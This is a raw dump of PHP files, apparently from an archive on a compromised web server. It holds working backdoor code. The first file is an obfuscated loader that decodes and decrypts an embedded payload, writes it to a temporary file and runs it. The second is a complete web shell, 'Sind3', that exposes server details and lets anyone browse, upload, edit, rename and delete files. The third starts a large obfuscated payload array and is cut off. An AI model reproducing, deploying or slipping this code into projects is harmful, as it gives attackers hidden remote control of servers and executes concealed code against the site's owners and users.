9f3737e2da2b389a88b8b9f11fa2fb4064e7199f73e9fd5c1e1455f12849fe1bfefceb742b847174b5645f07d45a8f2effff80972d6c9af70be753802cc408b04b822235170a9efd79eaf4eddd645ed9c54d465884e164fb54b7031fe7ff117f8333f8f2f04df1238df9260ddccb85dcd7cd62f3c3c7aad0f52c07cb5ae77f37aab0dab8d8985b0aa28fcb1c09bfe5ecf7d113db6d6bc75f35972977f5ced9f7e5b2f132a5f3a77faf3747fe31bfdfdec8c5f64a9203ed791b8dd4f7c5e2f0c2b8ca885d8f6e1e27f75605356cf43547e749ebff6af7e94af7bd73f087cf04b28ab28ad86c02ff743ed575556dabb15bfed9f162a06ccd45ff865dce879ef8df6e3095d465961fed5cfde4fd0d04e4d6c1054e979f401c4ab05352863d1e809a32ab562dd2fc4f3c2187c80370e0461d4ddeef7bbe3aff234982606bbb67fbf028ea580072a0e3f514f5b9ce08292caf3ec63a3fbb1e7d2e12e89687ceffe247bf1a7699be314efd233ffbdf46f4d6d9ecd703d4a85cd753fc91f7ed4f489d5211ff3225a3e04b93282af5edbfb211ef9977835f6a5d19ff226e096326b82eba17f3426094633384b33b5e686d3e419beb3fe5efd0f626a14f4dcbfb53f85625826b2beae1f5223156d0e697232ac4957683f1ecb26dc774fee4c3c5ff4254bd97f499069458d8a64631e33e9197afe11459ff0df78d36ff5daff16f483910df88acb6266e1ca0cda82eb7cacadb62d4ee44ad19258c87560bdac111fa96b7e6e599a9758605256c52c6ffbad702a8f1843d8bf2fcf7bcd8f22fdc08fe74ebfc6ff9c9fdc042435b3ccd7fe34783f401433f7054f6a7ef47abd3bf5416f26eaf0ec7f8a0d4ff37d49dda5cbf2a430f63f10ab12ca76535c195be0e765c2b54060ff15d6f34cf12d47ebcbfc5acf3463eb54099a86caea4c5d33f13fc8d77d5d54c02fff797f8911586cc3f7bfebfbb6497da4662ffe6b9a5fea7cf6735ac934e8f89e71e0bfea40007ffdf015ff3fff17';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmdxmAuu72', 'kmPmrJCl95', 'kmafZWQH11'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtwbAJnN24', 'gtUcLguX45', 'gtBpFZGg19'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== 'be419b16b68ba7498641825da374e169') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_SQpydAIh20($plain_code);
}
private function kmdxmAuu72() {
// Key segment 1
$buf = (bool)mt_rand(0,1);
return base64_decode('OFFrSGw5ZQ==');
}
public function pubVriXe41() {
// Public method 3
$jv1 = (bool)mt_rand(0,1);
return 'valVHTe26';
}
private function _execute_SQpydAIh20($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
private function kmafZWQH11() {
// Key segment 3
$tmp = 1478;
return base64_decode('ajI3alQ5');
}
public function pubkncib24() {
// Public method 4
$tmp = unpack('L', hash('crc32', microtime(), true));
$tmp = unpack('L', hash('crc32', microtime(), true));
return 'valwJhi30';
}
private function dcsICtwm89() {
$tmp = str_rot13('ebgoQefg50');
$buf = base64_decode('ZGF0YUdLUmtCZjQ5');
return null;
}
private function dcZoGNzA49() {
$jv1 = base64_decode('ZGF0YW9ZdkphdDc4');
$jv2 = unpack('L', hash('crc32', microtime(), true));
return null;
}
private function kmPmrJCl95() {
// Key segment 2
$jv3 = str_rot13('ebgEKPtD15');
if (90 > 50) {
$tmp = 'branch_a';
} else {
$tmp = 'branch_b';
}
return base64_decode('Y2dsZHlGQQ==');
}
public function pubuzUMk74() {
// Public method 2
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
// cmteJjd17
return 'valJwip27';
}
private function gtUcLguX45() {
// Gate piece 2
$jv1 = str_rot13('ebgfUtgz96');
return str_rot13('m0h6');
}
}
LoaderlgGVyM29920::init665();
// EOF
PK �Lm\Aj�%\ %\ 8vgr5.phpnu �[��� <?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sind3</title>
<!-- Load Ubuntu Mono from Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; }
body {
background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
color: #fff;
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding: 0;
}
.container {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.futer {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.breadcrumbs { margin-bottom: 15px; }
a { color: #0f0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #555; padding: 8px; text-align: left; }
th { background-color: #333; }
input[type="text"], textarea {
width: 100%;
padding: 8px;
margin: 0;
border: 1px solid #333;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
}
input[type="submit"], button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
}
form { margin-bottom: 20px; }
.terminal-box {
background-color: #222;
color: #0f0;
padding: 15px;
border: 1px solid #333;
border-radius: 4px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background-color: #222;
color: #0f0;
border: 1px solid #333;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
padding: 10px 20px;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
font-size: 14px;
}
.success { background-color: #0a0; color: #fff; }
.failed { background-color: #a00; color: #fff; }
/* Custom file input button styling */
#fileInput {
display: none;
}
.custom-file-button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
display: inline-block;
}
</style>
</head>
<body>
<div class="container">
   <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
   <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
<br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b>
<br><br><form id="uploadForm" class="ajaxForm" method="POST">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" required>
<input type="submit" value="Upload">
</form>
<br><div id="breadcrumbContainer">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div><br>
<div id="actionContainer"></div><br>
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<div class="notification" id="notification" style="display:none;"></div>
<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents(); // reattach events after update
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList(); // Reload the file list
loadBreadcrumb(); // Reload the breadcrumb
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = ""; // Clear any selected file
}
if (fileLabel) {
fileLabel.textContent = "Choose File"; // Reset label text
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
label.textContent = fileInput.files[0].name;
} else {
label.textContent = "Choose File";
}
});
if(uploadForm) {
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
if(fileInput.files.length === 0) return;
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var bytes = new Uint8Array(arrayBuffer);
var hexString = '';
for (var i = 0; i < bytes.length; i++) {
hexString += bytes[i].toString(16).padStart(2, '0');
}
var formData = new FormData();
formData.append("benkyo", file.name);
formData.append("dakeja", hexString);
fetch(uploadForm.action || window.location.href, {
method: 'POST',
body: formData,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
});
};
reader.readAsArrayBuffer(file);
});
}
});
</script>
<footer class="futer">
© zeinhorobosu
</footer>
</body>
</html>
PK �Lm\�U��S� S� hpmo7.phpnu �[��� <?php
// Generated by @DevidLuice
error_reporting(0);
@ini_set('display_errors', 0);
$SMpiPHfV = array('W0csJyl4xmo9j3SuiSjlXQnFxr2ruyayrydN7wgRj20JRF5PeesdinbHFFVJq9Y08b+Gx5kBvgDP1cVu', 'W5ttxAsXdIZDi+7zLf3FblOLbcQTFx9/e/mFsE3F5J2DK/+XaVxUxWvYdmD1za8FEKN1r0ivjHVzi6Tz', 'Te2PbkuTJ8S7z+z9e/mFkH2P5C1r+QYNM30fzUOzhbBNxeQtQ7MG7xt9H8Vb+YUKfY/knfNBpz2Bb/ee', 'yFldyGYHxA5QO5+F0YUkdUuLpPN97Y9u40v1rxt9H8VLs4UAlV2HPXvYTZdpXOwV86ve0gb1nwUQq1Wv', 'SK+MdUODpPN9/Y9u49P/l2s/1kdjGZ1axZ1c9ghB9v8DLZalsDscsp937WcrK8+/aVw01SHYVIAnrqc1', 'EItdxDsfH81T+YWIRcXkLUPYRYcjXEz9IdjGsG2uny0Qu3XlSC9EhnODpPPX/cVuU5NtxBMXdIZ7m+7z', 'de3kr2v5Bo8LNx9/U/mFmF3F5C1Dswa/Gzcf5XP5hYBFrr8le9hNj0gXXO0AIdbSBsWvBRCLRa9IF1SG', 'a5vu81X9xW5zmwavCzcf1VP5hYBFriUVMdh9n2lcZNVr2O6gJ64dPTHYfZdpXHzFAPPW0gbtv27jO5e1', 'AR3W9zkR/HLPp9+d2aMnxCMXdIbRq6TzRfXkp2v5BrcLXFTFa9j+oCeupz0Qm1XlSA9kpwCb1tIG1adu', 'c5sGtxNcbN0h2N64ba6nJXvY15dpXGTVIdj2sAZvn08Qk1XlSB9U7QCz3pgG7bcFEKNVr0g/bKcAq/bS', 'BvWvBRCTTcQDDz6GQ5vu89f9xW5riyfEAxcfzVP5hbBNxeRFQ/kGlws3H81L2O6gJ663LXvYZbdpXHTF', 'a9jWsG2ulx0x2Me/aVxk1WvY/qgnro89Mdj/l2lcZNUh2OawBoW3TxCbXcS7v473SZlMgj8FFy1bswaP', 'AzcfxVv5hZBNxeSdG9PvjxuVbNVrIZ2ixQ01x9mhhw1BZ+xPe/mFmE3F5L9j+QaHE1zW/SHY9rAG5bdP', 'EKNV5UgfZKcAm9bSBv2fTxCbVeVIJ1yGY6uk83X15B1DswYVG30fxUuzhahNxeQVU7MGtzt9H81b2M6g', 'J66nJXvYbZ8jXFzVa9j+oG2uhx0x2HW3aVxEzWvYzrgG/acFEJtFr0g/RKcAk87zTe2PbumLJ8QjF3SG', 'U4uk803l5AVTswaXG30f5UPY7qAnrrcte9h1t2lcVN0Ao9aYBtW/TxCzVeVIpUynAKPGmAbNl08Qs02v', 'SKVkpwArZmJ356WnYeGtNxsfdIZDi6TzZfXFbuPTDS0DD9b1U7N861dtR7+5EX9FgVUkdcmjpPNt5Y9u', 'wasnxLEnPoZTg4WAdY/kJVOzBr8LNx/Fe/mFsEXF5D1D2EWXaVxk9SHY5rAG3b9uY4ttxJkPPoZDk+7z', '1/3FbmubbcQ7Hx/NW9jOoCeupyV72C2faVxc1WvY/qgnroctEKtFxJkPPoZLk4WwXY/kTUv5Bo8bfR/F', 'U7OFMnWP5CVD+QY9G30frVP5haBFxeSvY/kGrws3H9VDs4WQRa6PLXvYVYcjXGz1IdhEiCeunzUx2H2X', 'I1x0xWvYxrhtrp89Mdhlh0h3TKcAm97z9U11H1mZz7Vx9+zFW/mFkF3F5C1L+QY3Q1f2zVMR9qBtV/w/', '03vXbYElnk8J43Y6fY/kRUP5BhU7fR/FW9hMiCeuly0Qk1XlSCdMpwCb/tIG7acFEIt95UgfTKcAo8bz', 'Zd3FbmODBrcbNx/dS7OFsE3F5DVbswa/G30f9XP5hTJ9j+QlU7MGPRt9H61b+YWwVcXkFUOzBqc7fR/1', 'c/mFIlWP5K9j+QaPCzcf3VP5hZhVj+SvQ/kG7xt9H0dz+YW4RcXkl0P5Bq8DNx/VU/mFuE2ujz0x2FWH', 'I1x8xQCz1tIG/acFEKt15UidZKcAo9aYBtW/TxCzRa9IH1TtAKPW0gbNl08Q81XlSB9EhvM7FIJP7y0f', 'KXOtLQMP1vVTs3zrV21nndGLJ8QjF3SGW5OFIlWP5BVD+QbvG30fxVuzhahVj+SnQ/kGpxN9H39b+YWo', 'VY/kDUv5Bi0bfR9/W/mFqFWP5CVD+QanE30f9UuzhSJ1j+Sds3n/haHVB1/JqeRQ1wctF5ERD/+7lWSn', 'ALPOmAb1r27poyfEGwcf9UPYzrBtrp89MdhFl0gfXO0Ai/7SBu2nBRCjdeVIP1yG6aOk83X1xW5Lk23E', 'sQ8+htGLpPN9/cVuY6snxAMHH81T+YUKVY/kRUv5BocbNx/9W/mFkHWP5B1T2NeXaVxUzQC73tIGxa8F', 'EKtdr0gXVIZLm+7zReWPbnuTbcQbDz6GS5OFmFWP5D1TswanO30f7VP5haBFxeQdU9jHv2lcZN0h2P6o', 'J66PLXvYRY8jXGTFa9jmgCeuzz0x2P+/aVzsZZGpzLLP393F47tVr0g3VO0Aq96YBl3vZfmTVQ07D3R/', 'GIlGUNcH38WAQK682JRfpsjAHSOWBkQu+LiFbwulPNVTs+aYHn8nzXOzdS0TJ9ZXGHFGUP9fNYczMUU9', 'UI3cjemT1jp1/Y+XCInF/7uNTKcAKxYAVf3FbtmLJ8QjF3SGY5Pu8/U9Fy1L+QavG30f5VOzhQANVxW/', '+fvvh7FEzkU7K86gJ64lPTHY9Ve7N1ztABHW0gblpwUQo13lSK+MdWub7vN17Y9u49Nlrzu1RP3JCZ1a', 'xZdPLen7VZcjP3Se0RsmYtdXB/+JcUc92RXOtbiAJLq3ldWvaSmuJ9Edhl87K0yIJ66XPXvYdZdpXFzd', 'AIve80X9j25Dk23EExd0hlOb7vPX3cVu6aMnxLvPtCX5CfYi74WXJQgZxSTbr9b9IdjegCeurz0Qi0Wv', 'SB9c7QCjxvNd7eSva/kGtxN9H91Ls4WwTcXkv0P5Br8LNx/lc/mFsF2P5D1bswYVG30f1UOzhQp9j+QN', 'Y/kGtxNcfPUh2M64ba6vPTHYRZcjXOwV86Pe0gbFvwUQo03lSK/8H6EhTMDvBqz2mOOudTAMPmWZmRwq', 'PV2vPTHY/5dpXGzFa9h2YPXFpwUQm0WvSK+MdWub7vNN7Y9uY4MnxJkXPobzS3aIVcXkRUP5BjdDf2Sl', 'c4P+oB6HJ12RsFVNIGeGB1hwHRCf7323KyvPv2lc3tUh2Pagba6/JXvYVZdpXM71IdjGqAbdj27ZoyfE', 'Oy8+hlOb7vNV7Y9uQ4snxDMfH+VD2PaoBt23BRCDTa9IpUynAAnW0gbVpwUQk03EOw90hkub7vNF7Y9u', 'Y4ttxBMXdIZzm+7zZe3kFUvYdZcjXFTFa9jGqCeuLT0x2G2PI1xEzWvY5qBtroctEDF95UgvRKcAg86Y', 'BtW3BRCrVa9IF0SnAKPW0gbdl08QGX3lSBdc7QAh1tIGxb8FEJtd5UgnRKcAu/bSBt2nbnOLbcQDBz6G', 'c6uk88fVxW5rgyfEMwc+hmuLpPP//cVua5ttxCsfH/Vz+YU6fY/kPUvYdbdpXFTdAJPGmAbltwUQIVXl', 'SDdMpwCL1pgGzaduY6snxDMHPoZDm+7zVeWPblubbcQDF3SGW5Pu8/f9xW5jqyfEiSc+hkuLpPPH/cVu', 'e5ttxBsXdIZjq6Tzde3kLUv5Bq8DNx9HU/mFgEXF5CVL+Qa/E30f9XP5hTJ9j+QlU7MGpxs3H+1bs4Ww', 'XY/kDWP5BocbNx/NU7OFkFXF5D1bswavAzcfxVvYbNIG/b9uY6snxLvPtI7zm9bSBme3TxCTVeVIF1Tt', 'AIPOmAZft08QKz6EMMR/nsN7/ILvDx3v+XH/DSklng9BeRYAdd3FbluDBo8bfR/NW/mFClWP5AVD+QaX', 'E30f5XP5hYB1j+QNQ9hlv2lcfNUAo/bSBs2nbvmjJ8Q7Bz6GW5Pu8//9xW5Lk23EMx90hsGrpPN19cVu', 'W4snxAsPPoZzi+7z1/3FbmOLJ8QrLz6Ge4OFgFXF5CVD+QaHGzcf1UuzhZhNxeS/Q/kGpxN9H+Vz+YUa', 'fY/kHUv5BhUbfR/9U7OFgF2P5CVDswa/Czcf9XP5hTJ9j+QlU7MGPRt9H+1bs4WwXY/kFUOzBqcLXGz1', 'IdjmoG2urzUx2HWHSJ1kpwCj1pgG1bcFELNFr0ilTKcAo8aYBs2nbmObBocbfR9PU/mFuEXF5K9D+Qaf', 'Azcf/UuzhYB1j+QlS9hNl2lcVM1r2O6wba4tPTHYZYdIL1yGQ4Ok8yX1xW5biyfECw90hnObhbhdrq89', 'MdhllyNcdN1r2MaoJ66HHTHYRZ9pXFTdIdjmqCeutyV72G2PI1xc3QC79tIGR59PELt15UgfXO0AKxYA', 